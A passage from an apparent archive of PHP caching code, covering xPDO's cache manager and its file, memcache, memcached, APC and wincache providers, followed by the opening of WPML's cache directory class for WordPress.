                $numArgs = func_num_args();
                $options = array(
                    'deleteTop' => is_scalar($options) ? (boolean) $options : false
                    ,'skipDirs' => $numArgs > 2 ? func_get_arg(2) : false
                    ,'extensions' => $numArgs > 3 ? func_get_arg(3) : array('.cache.php')
                );
            }
            $hasMore= true;
            if ($handle= opendir($dirname)) {
                $limit= 4;
                $extensions= $this->getOption('extensions', $options, array('.cache.php'));
                $excludeItems = $this->getOption('delete_exclude_items', $options, array('.', '..','.svn','.svn/','.svn\\'));
                $excludePatterns = $this->getOption('delete_exclude_patterns', $options);
                while ($hasMore && $limit--) {
                    if (!$handle) {
                        $handle= opendir($dirname);
                    }
                    $hasMore= false;
                    while (false !== ($file= @ readdir($handle))) {
                        if (is_array($excludeItems) && !empty($excludeItems) && in_array($file, $excludeItems)) continue;
                        if (is_array($excludePatterns) && !empty($excludePatterns) && $this->matches($file, $excludePatterns)) continue;
                        if ($file != '.' && $file != '..') { /* Ignore . and .. */
                            $path= $dirname . $file;
                            if (is_dir($path)) {
                                $suboptions = array_merge($options, array('deleteTop' => !$this->getOption('skipDirs', $options, false)));
                                if ($subresult= $this->deleteTree($path, $suboptions)) {
                                    $result= array_merge($result, $subresult);
                                }
                            }
                            elseif (is_file($path)) {
                                if (is_array($extensions) && !empty($extensions) && !$this->endsWith($file, $extensions)) continue;
                                if (unlink($path)) {
                                    array_push($result, $path);
                                } else {
                                    $hasMore= true;
                                }
                            }
                        }
                    }
                    closedir($handle);
                }
                if ($this->getOption('deleteTop', $options, false)) {
                    if (@ rmdir($dirname)) {
                        array_push($result, $dirname);
                    }
                }
            }
        } else {
            $result= false; /* return false if attempting to operate on a file */
        }
        return $result;
    }

    /**
     * Sees if a string ends with a specific pattern or set of patterns.
     *
     * @access public
     * @param string $string The string to check.
     * @param string|array $pattern The pattern or an array of patterns to check against.
     * @return boolean True if the string ends with the pattern or any of the patterns provided.
     */
    public function endsWith($string, $pattern) {
        $matched= false;
        if (is_string($string) && ($stringLen= strlen($string))) {
            if (is_array($pattern)) {
                foreach ($pattern as $subPattern) {
                    if (is_string($subPattern) && $this->endsWith($string, $subPattern)) {
                        $matched= true;
                        break;
                    }
                }
            } elseif (is_string($pattern)) {
                if (($patternLen= strlen($pattern)) && $stringLen >= $patternLen) {
                    $matched= (substr($string, -$patternLen) === $pattern);
                }
            }
        }
        return $matched;
    }

    /**
     * Sees if a string matches a specific pattern or set of patterns.
     *
     * @access public
     * @param string $string The string to check.
     * @param string|array $pattern The pattern or an array of patterns to check against.
     * @return boolean True if the string matched the pattern or any of the patterns provided.
     */
    public function matches($string, $pattern) {
        $matched= false;
        if (is_string($string) && ($stringLen= strlen($string))) {
            if (is_array($pattern)) {
                foreach ($pattern as $subPattern) {
                    if (is_string($subPattern) && $this->matches($string, $subPattern)) {
                        $matched= true;
                        break;
                    }
                }
            } elseif (is_string($pattern)) {
                $matched= preg_match($pattern, $string);
            }
        }
        return $matched;
    }

    /**
     * Generate a PHP executable representation of an xPDOObject.
     *
     * @todo Complete $generateRelated functionality.
     * @todo Add stdObject support.
     *
     * @access public
     * @param xPDOObject $obj An xPDOObject to generate the cache file for
     * @param string $objName The name of the xPDOObject
     * @param boolean $generateObjVars If true, will also generate maps for all
     * object variables. Defaults to false.
     * @param boolean $generateRelated If true, will also generate maps for all
     * related objects. Defaults to false.
     * @param string $objRef The reference to the xPDO instance, in string
     * format.
     * @param boolean $format The format to cache in. Defaults to
     * xPDOCacheManager::CACHE_PHP, which is set to cache in executable PHP format.
     * @return string The source map file, in string format.
     */
    public function generateObject($obj, $objName, $generateObjVars= false, $generateRelated= false, $objRef= 'this->xpdo', $format= xPDOCacheManager::CACHE_PHP) {
        $source= false;
        if (is_object($obj) && $obj instanceof xPDOObject) {
            $className= $obj->_class;
            $source= "\${$objName}= \${$objRef}->newObject('{$className}');\n";
            $source .= "\${$objName}->fromArray(" . var_export($obj->toArray('', true), true) . ", '', true, true);\n";
            if ($generateObjVars && $objectVars= get_object_vars($obj)) {
                foreach ($objectVars as $vk => $vv) {
                    if ($vk === 'modx') {
                        $source .= "\${$objName}->{$vk}= & \${$objRef};\n";
                    }
                    elseif ($vk === 'xpdo') {
                        $source .= "\${$objName}->{$vk}= & \${$objRef};\n";
                    }
                    elseif (!is_resource($vv)) {
                        $source .= "\${$objName}->{$vk}= " . var_export($vv, true) . ";\n";
                    }
                }
            }
            if ($generateRelated && !empty ($obj->_relatedObjects)) {
                foreach ($obj->_relatedObjects as $className => $fk) {
                    foreach ($fk as $key => $relObj) {} /* TODO: complete $generateRelated functionality */
                }
            }
        }
        return $source;
    }

    /**
     * Add a key-value pair to a cache provider if it does not already exist.
     *
     * @param string $key A unique key identifying the item being stored.
     * @param mixed & $var A reference to the PHP variable representing the item.
     * @param integer $lifetime Seconds the item will be valid in cache.
     * @param array $options Additional options for the cache add operation.
     */
    public function add($key, & $var, $lifetime= 0, $options= array()) {
        $return= false;
        if ($cache = $this->getCacheProvider($this->getOption(xPDO::OPT_CACHE_KEY, $options))) {
            $value= null;
            if (is_object($var) && $var instanceof xPDOObject) {
                $value= $var->toArray('', true);
            } else {
                $value= $var;
            }
            $return= $cache->add($key, $value, $lifetime, $options);
        }
        return $return;
    }

    /**
     * Replace a key-value pair in in a cache provider.
     *
     * @access public
     * @param string $key A unique key identifying the item being replaced.
     * @param mixed & $var A reference to the PHP variable representing the item.
     * @param integer $lifetime Seconds the item will be valid in objcache.
     * @param array $options Additional options for the cache replace operation.
     * @return boolean True if the replace was successful.
     */
    public function replace($key, & $var, $lifetime= 0, $options= array()) {
        $return= false;
        if ($cache = $this->getCacheProvider($this->getOption(xPDO::OPT_CACHE_KEY, $options), $options)) {
            $value= null;
            if (is_object($var) && $var instanceof xPDOObject) {
                $value= $var->toArray('', true);
            } else {
                $value= $var;
            }
            $return= $cache->replace($key, $value, $lifetime, $options);
        }
        return $return;
    }

    /**
     * Set a key-value pair in a cache provider.
     *
     * @access public
     * @param string $key A unique key identifying the item being set.
     * @param mixed & $var A reference to the PHP variable representing the item.
     * @param integer $lifetime Seconds the item will be valid in objcache.
     * @param array $options Additional options for the cache set operation.
     * @return boolean True if the set was successful
     */
    public function set($key, & $var, $lifetime= 0, $options= array()) {
        $return= false;
        if ($cache = $this->getCacheProvider($this->getOption(xPDO::OPT_CACHE_KEY, $options), $options)) {
            $value= null;
            if (is_object($var) && $var instanceof xPDOObject) {
                $value= $var->toArray('', true);
            } else {
                $value= $var;
            }
            $return= $cache->set($key, $value, $lifetime, $options);
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, 'No cache implementation found.');
        }
        return $return;
    }

    /**
     * Delete a key-value pair from a cache provider.
     *
     * @access public
     * @param string $key A unique key identifying the item being deleted.
     * @param array $options Additional options for the cache deletion.
     * @return boolean True if the deletion was successful.
     */
    public function delete($key, $options = array()) {
        $return= false;
        if ($cache = $this->getCacheProvider($this->getOption(xPDO::OPT_CACHE_KEY, $options), $options)) {
            $return= $cache->delete($key, $options);
        }
        return $return;
    }

    /**
     * Get a value from a cache provider by key.
     *
     * @access public
     * @param string $key A unique key identifying the item being retrieved.
     * @param array $options Additional options for the cache retrieval.
     * @return mixed The value of the object cache key
     */
    public function get($key, $options = array()) {
        $return= false;
        if ($cache = $this->getCacheProvider($this->getOption(xPDO::OPT_CACHE_KEY, $options), $options)) {
            $return= $cache->get($key, $options);
        }
        return $return;
    }

    /**
     * Flush the contents of a cache provider.
     *
     * @access public
     * @param array $options Additional options for the cache flush.
     * @return boolean True if the flush was successful.
     */
    public function clean($options = array()) {
        $return= false;
        if ($cache = $this->getCacheProvider($this->getOption(xPDO::OPT_CACHE_KEY, $options), $options)) {
            $return= $cache->flush($options);
        }
        return $return;
    }

    /**
     * Refresh specific or all cache providers.
     *
     * The default behavior is to call clean() with the provided options
     *
     * @param array $providers An associative array with keys representing the cache provider key
     * and the value an array of options.
     * @param array &$results An associative array for collecting results for each provider.
     * @return array An array of results for each provider that is refreshed.
     */
    public function refresh(array $providers = array(), array &$results = array()) {
        if (empty($providers)) {
            foreach ($this->caches as $cacheKey => $cache) {
                $providers[$cacheKey] = array();
            }
        }
        foreach ($providers as $key => $options) {
            if (array_key_exists($key, $this->caches) && !array_key_exists($key, $results)) {
                $results[$key] = $this->clean(array_merge($options, array(xPDO::OPT_CACHE_KEY => $key)));
            }
        }
        return (array_search(false, $results, true) === false);
    }

    /**
     * Escapes all single quotes in a string
     *
     * @access public
     * @param string $s  The string to escape single quotes in.
     * @return string  The string with single quotes escaped.
     */
    public function escapeSingleQuotes($s) {
        $q1= array (
            "\\",
            "'"
        );
        $q2= array (
            "\\\\",
            "\\'"
        );
        return str_replace($q1, $q2, $s);
    }
}

/**
 * An abstract class that defines the methods a cache provider must implement.
 *
 * @package xpdo
 * @subpackage cache
 */
abstract class xPDOCache {
    public $xpdo= null;
    protected $options= array();
    protected $key= '';
    protected $initialized= false;

    public function __construct(& $xpdo, $options = array()) {
        $this->xpdo= & $xpdo;
        $this->options= $options;
        $this->key = $this->getOption(xPDO::OPT_CACHE_KEY, $options, 'default');
    }

    /**
     * Indicates if this xPDOCache instance has been properly initialized.
     *
     * @return boolean true if the implementation was initialized successfully.
     */
    public function isInitialized() {
        return (boolean) $this->initialized;
    }

    /**
     * Get an option from supplied options, the cache options, or the xpdo config.
     *
     * @param string $key Unique identifier for the option.
     * @param array $options A set of explicit options to override those from xPDO or the xPDOCache
     * implementation.
     * @param mixed $default An optional default value to return if no value is found.
     * @return mixed The value of the option.
     */
    public function getOption($key, $options = array(), $default = null) {
        $option = $default;
        if (is_array($key)) {
            if (!is_array($option)) {
                $default= $option;
                $option= array();
            }
            foreach ($key as $k) {
                $option[$k]= $this->getOption($k, $options, $default);
            }
        } elseif (is_string($key) && !empty($key)) {
            if (is_array($options) && !empty($options) && array_key_exists($key, $options)) {
                $option = $options[$key];
            } elseif (is_array($this->options) && !empty($this->options) && array_key_exists($key, $this->options)) {
                $option = $this->options[$key];
            } else {
                $option = $this->xpdo->cacheManager->getOption($key, null, $default);
            }
        }
        return $option;
    }

    /**
     * Get the actual cache key the implementation will use.
     *
     * @param string $key The identifier the application uses.
     * @param array $options Additional options for the operation.
     * @return string The identifier with any implementation specific prefixes or other
     * transformations applied.
     */
    public function getCacheKey($key, $options = array()) {
        $prefix = $this->getOption('cache_prefix', $options);
        if (!empty($prefix)) $key = $prefix . $key;
        return $this->key . '/' . $key;
    }

    /**
     * Adds a value to the cache.
     *
     * @access public
     * @param string $key A unique key identifying the item being set.
     * @param string $var A reference to the PHP variable representing the item.
     * @param integer $expire The amount of seconds for the variable to expire in.
     * @param array $options Additional options for the operation.
     * @return boolean True if successful
     */
    abstract public function add($key, $var, $expire= 0, $options= array());

    /**
     * Sets a value in the cache.
     *
     * @access public
     * @param string $key A unique key identifying the item being set.
     * @param string $var A reference to the PHP variable representing the item.
     * @param integer $expire The amount of seconds for the variable to expire in.
     * @param array $options Additional options for the operation.
     * @return boolean True if successful
     */
    abstract public function set($key, $var, $expire= 0, $options= array());

    /**
     * Replaces a value in the cache.
     *
     * @access public
     * @param string $key A unique key identifying the item being set.
     * @param string $var A reference to the PHP variable representing the item.
     * @param integer $expire The amount of seconds for the variable to expire in.
     * @param array $options Additional options for the operation.
     * @return boolean True if successful
     */
    abstract public function replace($key, $var, $expire= 0, $options= array());

    /**
     * Deletes a value from the cache.
     *
     * @access public
     * @param string $key A unique key identifying the item being deleted.
     * @param array $options Additional options for the operation.
     * @return boolean True if successful
     */
    abstract public function delete($key, $options= array());

    /**
     * Gets a value from the cache.
     *
     * @access public
     * @param string $key A unique key identifying the item to fetch.
     * @param array $options Additional options for the operation.
     * @return mixed The value retrieved from the cache.
     */
    public function get($key, $options= array()) {}

    /**
     * Flush all values from the cache.
     *
     * @access public
     * @param array $options Additional options for the operation.
     * @return boolean True if successful.
     */
    abstract public function flush($options= array());
}

/**
 * A simple file-based caching implementation using executable PHP.
 *
 * This can be used to relieve database loads, though the overall performance is
 * about the same as without the file-based cache.  For maximum performance and
 * scalability, use a server with memcached and the PHP memcache extension
 * configured.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOFileCache extends xPDOCache {
    public function __construct(& $xpdo, $options = array()) {
        parent :: __construct($xpdo, $options);
        $this->initialized = true;
    }

    public function getCacheKey($key, $options = array()) {
        $cachePath = $this->getOption('cache_path', $options);
        $cacheExt = $this->getOption('cache_ext', $options, '.cache.php');
        $key = parent :: getCacheKey($key, $options);
        return $cachePath . $key . $cacheExt;
    }

    public function add($key, $var, $expire= 0, $options= array()) {
        $added= false;
        if (!file_exists($this->getCacheKey($key, $options))) {
            if ($expire === true)
                $expire= 0;
            $added= $this->set($key, $var, $expire, $options);
        }
        return $added;
    }

    public function set($key, $var, $expire= 0, $options= array()) {
        $set= false;
        if ($var !== null) {
            if ($expire === true)
                $expire= 0;
            $expirationTS= $expire ? time() + $expire : 0;
            $expireContent= '';
            if ($expirationTS) {
                $expireContent= 'if(time() > ' . $expirationTS . '){return null;}';
            }
            $fileName= $this->getCacheKey($key, $options);
            $format = (integer) $this->getOption(xPDO::OPT_CACHE_FORMAT, $options, xPDOCacheManager::CACHE_PHP);
            switch ($format) {
                case xPDOCacheManager::CACHE_SERIALIZE:
                    $content= serialize(array('expires' => $expirationTS, 'content' => $var));
                    break;
                case xPDOCacheManager::CACHE_JSON:
                    $content= $this->xpdo->toJSON(array('expires' => $expirationTS, 'content' => $var));
                    break;
                case xPDOCacheManager::CACHE_PHP:
                default:
                    $content= '<?php ' . $expireContent . ' return ' . var_export($var, true) . ';';
                    break;
            }
            $folderMode = $this->getOption('new_cache_folder_permissions', $options, false);
            if ($folderMode) $options['new_folder_permissions'] = $folderMode;
            $fileMode = $this->getOption('new_cache_file_permissions', $options, false);
            if ($fileMode) $options['new_file_permissions'] = $fileMode;
            $set= $this->xpdo->cacheManager->writeFile($fileName, $content, 'wb', $options);
        }
        return $set;
    }

    public function replace($key, $var, $expire= 0, $options= array()) {
        $replaced= false;
        if (file_exists($this->getCacheKey($key, $options))) {
            if ($expire === true)
                $expire= 0;
            $replaced= $this->set($key, $var, $expire, $options);
        }
        return $replaced;
    }

    public function delete($key, $options= array()) {
        $deleted= false;
        if ($this->getOption('multiple_object_delete', $options, true)) {
            $cacheKey= $this->getCacheKey($key, array_merge($options, array('cache_ext' => '')));
            if (file_exists($cacheKey) && is_dir($cacheKey)) {
                $results = $this->xpdo->cacheManager->deleteTree($cacheKey, array_merge(array('deleteTop' => false, 'skipDirs' => false, 'extensions' => array('.cache.php')), $options));
                if ($results !== false) {
                    $deleted = true;
                }
            }
        }
        $cacheKey= $this->getCacheKey($key, $options);
        if (file_exists($cacheKey)) {
            $deleted= @ unlink($cacheKey);
        }
        return $deleted;
    }

    public function get($key, $options= array()) {
        $value= null;
        $cacheKey= $this->getCacheKey($key, $options);
        if (file_exists($cacheKey)) {
            if ($file = @fopen($cacheKey, 'rb')) {
                $format = (integer) $this->getOption(xPDO::OPT_CACHE_FORMAT, $options, xPDOCacheManager::CACHE_PHP);
                if (flock($file, LOCK_SH)) {
                    switch ($format) {
                        case xPDOCacheManager::CACHE_PHP:
                            if (!filesize($cacheKey)) {
                                $value= false;
                                break;
                            }
                            $value= @include $cacheKey;
                            break;
                        case xPDOCacheManager::CACHE_JSON:
                            $payload = stream_get_contents($file);
                            if ($payload !== false) {
                                $payload = $this->xpdo->fromJSON($payload);
                                if (is_array($payload) && isset($payload['expires']) && (empty($payload['expires']) || time() < $payload['expires'])) {
                                    if (array_key_exists('content', $payload)) {
                                        $value= $payload['content'];
                                    }
                                }
                            }
                            break;
                        case xPDOCacheManager::CACHE_SERIALIZE:
                            $payload = stream_get_contents($file);
                            if ($payload !== false) {
                                $payload = unserialize($payload);
                                if (is_array($payload) && isset($payload['expires']) && (empty($payload['expires']) || time() < $payload['expires'])) {
                                    if (array_key_exists('content', $payload)) {
                                        $value= $payload['content'];
                                    }
                                }
                            }
                            break;
                    }
                    flock($file, LOCK_UN);
                    if ($value === null && $this->getOption('removeIfEmpty', $options, true)) {
                        fclose($file);
                        @ unlink($cacheKey);
                        return $value;
                    }
                }
                @fclose($file);
            }
        }
        return $value;
    }

    public function flush($options= array()) {
        $cacheKey= $this->getCacheKey('', array_merge($options, array('cache_ext' => '')));
        $results = $this->xpdo->cacheManager->deleteTree($cacheKey, array_merge(array('deleteTop' => false, 'skipDirs' => false, 'extensions' => array('.cache.php')), $options));
        return ($results !== false);
    }
}
cms/modx/cache/xpdomemcached.class.php000644 000000 000000 00000007205 13644004674 020403 0ustar00rootwheel000000 000000 <?php
/*
 * Copyright 2010-2015 by MODX, LLC.
 *
 * This file is part of xPDO.
 *
 * xPDO is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * xPDO is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
 * A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with
 * xPDO; if not, write to the Free Software Foundation, Inc., 59 Temple Place,
 * Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * Provides a memcached-powered xPDOCache implementation.
 *
 * This requires the memcached extension for PHP.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOMemCached extends xPDOCache {
    protected $memcached = null;

    public function __construct(& $xpdo, $options = array()) {
        parent :: __construct($xpdo, $options);
        if (class_exists('Memcached', true)) {
            $this->memcached = new Memcached();
            if ($this->memcached) {
                $servers = explode(',', $this->getOption($this->key . '_memcached_server', $options, $this->getOption('memcached_server', $options, 'localhost:11211')));
                foreach ($servers as $server) {
                    $server = explode(':', $server);
                    $this->memcached->addServer($server[0], (integer) $server[1]);
                }
                $this->memcached->setOption(Memcached::OPT_COMPRESSION, (boolean) $this->getOption($this->key . '_memcached_compression', $options, $this->getOption('memcached_compression', $options, $this->getOption(Memcached::OPT_COMPRESSION, $options, true))));
                $this->initialized = true;
            } else {
                $this->memcached = null;
                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOMemCached[{$this->key}]: Error creating memcached provider for server(s): " . $this->getOption($this->key . '_memcached_server', $options, $this->getOption('memcached_server', $options, 'localhost:11211')));
            }
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOMemCached[{$this->key}]: Error creating memcached provider; xPDOMemCached requires the PHP memcached extension.");
        }
    }

    public function add($key, $var, $expire= 0, $options= array()) {
        $added= $this->memcached->add(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $added;
    }

    public function set($key, $var, $expire= 0, $options= array()) {
        $set= $this->memcached->set(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $set;
    }

    public function replace($key, $var, $expire= 0, $options= array()) {
        $replaced= $this->memcached->replace(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $replaced;
    }

    public function delete($key, $options= array()) {
        if (!isset($options['multiple_object_delete']) || empty($options['multiple_object_delete'])) {
            $deleted= $this->memcached->delete($this->getCacheKey($key));
        } else {
            $deleted= $this->flush($options);
        }
        return $deleted;
    }

    public function get($key, $options= array()) {
        return $this->memcached->get($this->getCacheKey($key));
    }

    public function flush($options= array()) {
        return $this->memcached->flush();
    }
}
cms/modx/cache/xpdoapccache.class.php000644 000000 000000 00000006522 13644004674 020225 0ustar00rootwheel000000 000000 <?php
/*
 * Copyright 2010-2015 by MODX, LLC.
 *
 * This file is part of xPDO.
 *
 * xPDO is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * xPDO is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
 * A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with
 * xPDO; if not, write to the Free Software Foundation, Inc., 59 Temple Place,
 * Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * Provides an APC-powered xPDOCache implementation.
 *
 * This requires the APC extension for PHP, version 3.1.4 or later. Earlier versions
 * did not have all the necessary user cache methods.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOAPCCache extends xPDOCache {
    public function __construct(& $xpdo, $options = array()) {
        parent :: __construct($xpdo, $options);
        if (function_exists('apc_exists')) {
            $this->initialized = true;
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOAPCCache[{$this->key}]: Error creating APC cache provider; xPDOAPCCache requires the APC extension for PHP, version 2.0.0 or later.");
        }
    }

    public function add($key, $var, $expire= 0, $options= array()) {
        $added= apc_add(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $added;
    }

    public function set($key, $var, $expire= 0, $options= array()) {
        $set= apc_store(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $set;
    }

    public function replace($key, $var, $expire= 0, $options= array()) {
        $replaced = false;
        if (apc_exists($key)) {
            $replaced= apc_store(
                $this->getCacheKey($key),
                $var,
                $expire
            );
        }
        return $replaced;
    }

    public function delete($key, $options= array()) {
        $deleted = false;
        if (!isset($options['multiple_object_delete']) || empty($options['multiple_object_delete'])) {
            $deleted= apc_delete($this->getCacheKey($key));
        } elseif (class_exists('APCIterator', true)) {
            $iterator = new APCIterator('user', '/^' . str_replace('/', '\/', $this->getCacheKey($key)) . '/', APC_ITER_KEY);
            if ($iterator) {
                $deleted = apc_delete($iterator);
            }
        }
        return $deleted;
    }

    public function get($key, $options= array()) {
        $value= apc_fetch($this->getCacheKey($key));
        return $value;
    }

    public function flush($options= array()) {
        $flushed = false;
        if (class_exists('APCIterator', true) && $this->getOption('flush_by_key', $options, true) && !empty($this->key)) {
            $iterator = new APCIterator('user', '/^' . str_replace('/', '\/', $this->key) . '\//', APC_ITER_KEY);
            if ($iterator) {
                $flushed = apc_delete($iterator);
            }
        } else {
            $flushed = apc_clear_cache('user');
        }
        return $flushed;
    }
}
cms/modx/cache/xpdomemcache.class.php000644 000000 000000 00000010726 13644004674 020241 0ustar00rootwheel000000 000000 <?php
/*
 * Copyright 2010-2015 by MODX, LLC.
 *
 * This file is part of xPDO.
 *
 * xPDO is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * xPDO is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
 * A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with
 * xPDO; if not, write to the Free Software Foundation, Inc., 59 Temple Place,
 * Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * Provides a memcache-powered xPDOCache implementation.
 *
 * This requires the memcache extension for PHP.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOMemCache extends xPDOCache {
    protected $memcache = null;

    public function __construct(& $xpdo, $options = array()) {
        parent :: __construct($xpdo, $options);
        if (class_exists('Memcache', true)) {
            $this->memcache= new Memcache();
            if ($this->memcache) {
                $servers = explode(',', $this->getOption($this->key . '_memcached_server', $options, $this->getOption('memcached_server', $options, 'localhost:11211')));
                foreach ($servers as $server) {
                    $server = explode(':', $server);
                    $this->memcache->addServer($server[0], (integer) $server[1]);
                }
                $compressThreshold = $this->getOption($this->key . '_memcached_compress_threshold', $options, $this->getOption('memcached_compress_threshold', array(), '20000:0.2'));
                if (!empty($compressThreshold)) {
                    $threshold = explode(':', $compressThreshold);
                    if (count($threshold) == 2) {
                        $minValue = (integer) $threshold[0];
                        $minSaving = (float) $threshold[1];
                        if ($minSaving >= 0 && $minSaving <= 1) {
                            $this->memcache->setCompressThreshold($minValue, $minSaving);
                        }
                    }
                }
                $this->initialized = true;
            } else {
                $this->memcache = null;
                $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOMemCache[{$this->key}]: Error creating memcache provider for server(s): " . $this->getOption($this->key . '_memcached_server', $options, $this->getOption('memcached_server', $options, 'localhost:11211')));
            }
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOMemCache[{$this->key}]: Error creating memcache provider; xPDOMemCache requires the PHP memcache extension.");
        }
    }

    public function add($key, $var, $expire= 0, $options= array()) {
        $added= $this->memcache->add(
            $this->getCacheKey($key),
            $var,
            $this->getOption($this->key . xPDO::OPT_CACHE_COMPRESS, $options, $this->getOption(xPDO::OPT_CACHE_COMPRESS, $options, false)),
            $expire
        );
        return $added;
    }

    public function set($key, $var, $expire= 0, $options= array()) {
        $set= $this->memcache->set(
            $this->getCacheKey($key),
            $var,
            $this->getOption($this->key . xPDO::OPT_CACHE_COMPRESS, $options, $this->getOption(xPDO::OPT_CACHE_COMPRESS, $options, false)),
            $expire
        );
        return $set;
    }

    public function replace($key, $var, $expire= 0, $options= array()) {
        $replaced= $this->memcache->replace(
            $this->getCacheKey($key),
            $var,
            $this->getOption($this->key . xPDO::OPT_CACHE_COMPRESS, $options, $this->getOption(xPDO::OPT_CACHE_COMPRESS, $options, false)),
            $expire
        );
        return $replaced;
    }

    public function delete($key, $options= array()) {
        if (!isset($options['multiple_object_delete']) || empty($options['multiple_object_delete'])) {
            $deleted= $this->memcache->delete($this->getCacheKey($key));
        } else {
            $deleted= $this->flush($options);
        }
        return $deleted;
    }

    public function get($key, $options= array()) {
        $value= $this->memcache->get($this->getCacheKey($key));
        return $value;
    }

    public function flush($options= array()) {
        return $this->memcache->flush();
    }
}
cms/modx/cache/xpdowincache.class.php000644 000000 000000 00000005442 13644004674 020257 0ustar00rootwheel000000 000000 <?php
/*
 * Copyright 2010-2015 by MODX, LLC.
 *
 * This file is part of xPDO.
 *
 * xPDO is free software; you can redistribute it and/or modify it under the
 * terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * xPDO is distributed in the hope that it will be useful, but WITHOUT ANY
 * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
 * A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with
 * xPDO; if not, write to the Free Software Foundation, Inc., 59 Temple Place,
 * Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * Provides a wincache-powered xPDOCache implementation.
 *
 * This requires the wincache extension for PHP, version 1.1.0 or later. Earlier versions
 * did not have user cache methods.
 *
 * @package xpdo
 * @subpackage cache
 */
class xPDOWinCache extends xPDOCache {
    public function __construct(& $xpdo, $options = array()) {
        parent :: __construct($xpdo, $options);
        if (function_exists('wincache_ucache_info')) {
            $this->initialized = true;
        } else {
            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, "xPDOWinCache[{$this->key}]: Error creating wincache provider; xPDOWinCache requires the PHP wincache extension, version 1.1.0 or later.");
        }
    }

    public function add($key, $var, $expire= 0, $options= array()) {
        $added= wincache_ucache_add(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $added;
    }

    public function set($key, $var, $expire= 0, $options= array()) {
        $set= wincache_ucache_set(
            $this->getCacheKey($key),
            $var,
            $expire
        );
        return $set;
    }

    public function replace($key, $var, $expire= 0, $options= array()) {
        $replaced = false;
        if (wincache_ucache_exists($key)) {
            $replaced= wincache_ucache_set(
                $this->getCacheKey($key),
                $var,
                $expire
            );
        }
        return $replaced;
    }

    public function delete($key, $options= array()) {
        $deleted = false;
        if (!isset($options['multiple_object_delete']) || empty($options['multiple_object_delete'])) {
            $deleted= wincache_ucache_delete($this->getCacheKey($key));
        } else {
            $deleted= $this->flush($options);
        }
        return $deleted;
    }

    public function get($key, $options= array()) {
        $value= wincache_ucache_get($this->getCacheKey($key));
        return $value;
    }

    public function flush($options= array()) {
        return wincache_ucache_clear();
    }
}
cms/wordpress/class-wpml-cache-directory.php000644 000000 000000 00000005037 14214543530 021633 0ustar00rootwheel000000 000000 <?php

class WPML_Cache_Directory {

	const DIR_PERMISSIONS      = 0775;
	const MAIN_DIRECTORY_NAME  = 'wpml';
	const NOTICE_GROUP         = 'wpml-cache-directory';
	const NOTICE_INVALID_CACHE = 'invalid-cache';
	private $cache_disabled = false;

	/**
	 * @var WPML_WP_API
	 */
	private $wp_api;

	/**
	 * @var WP_Filesystem_Direct
	 */
	private $filesystem;

	/**
	 * WPML_Cache_Directory constructor.
	 *
	 * @param WPML_WP_API $wp_api
	 */
	public function __construct( WPML_WP_API $wp_api ) {
		$this->wp_api     = $wp_api;
		$this->filesystem = $wp_api->get_wp_filesystem_direct();
	}

	/**
	 * @return string
	 */
	private function get_main_directory_path() {
		$main_directory_path = null;
		$cache_path_root     = $this->wp_api->constant( 'WPML_CACHE_PATH_ROOT' );

		if ( $cache_path_root ) {
			$main_directory_path = trailingslashit( $cache_path_root ) . self::MAIN_DIRECTORY_NAME;
			return trailingslashit( $main_directory_path );
		}else {
			$upload_dir = wp_upload_dir();

			if ( empty( $upload_dir['error'] ) ) {
				$base_dir            = $upload_dir['basedir'];
				$main_directory_path = trailingslashit( $base_dir ) . 'cache/' . self::MAIN_DIRECTORY_NAME;
				return trailingslashit( $main_directory_path );
			}
		}

		return null;
	}

	/**
	 * The function `wp_mkdir_p` will create directories recursively
	 *
	 * @param string $absolute_path
	 *
	 * @return string|bool absolute path or false if we can't have a writable and readable directory
	 */
	private function maybe_create_directory( $absolute_path ) {
		$result = true;

		if ( ! $this->filesystem->is_dir( $absolute_path ) ) {
			$result = wp_mkdir_p( $absolute_path );
		}

		return $result ? $absolute_path : false;
	}

	/**
	 * @param string $relative_path
	 *
	 * @return string|bool absolute path or false if we can't have a writable and readable directory
	 */
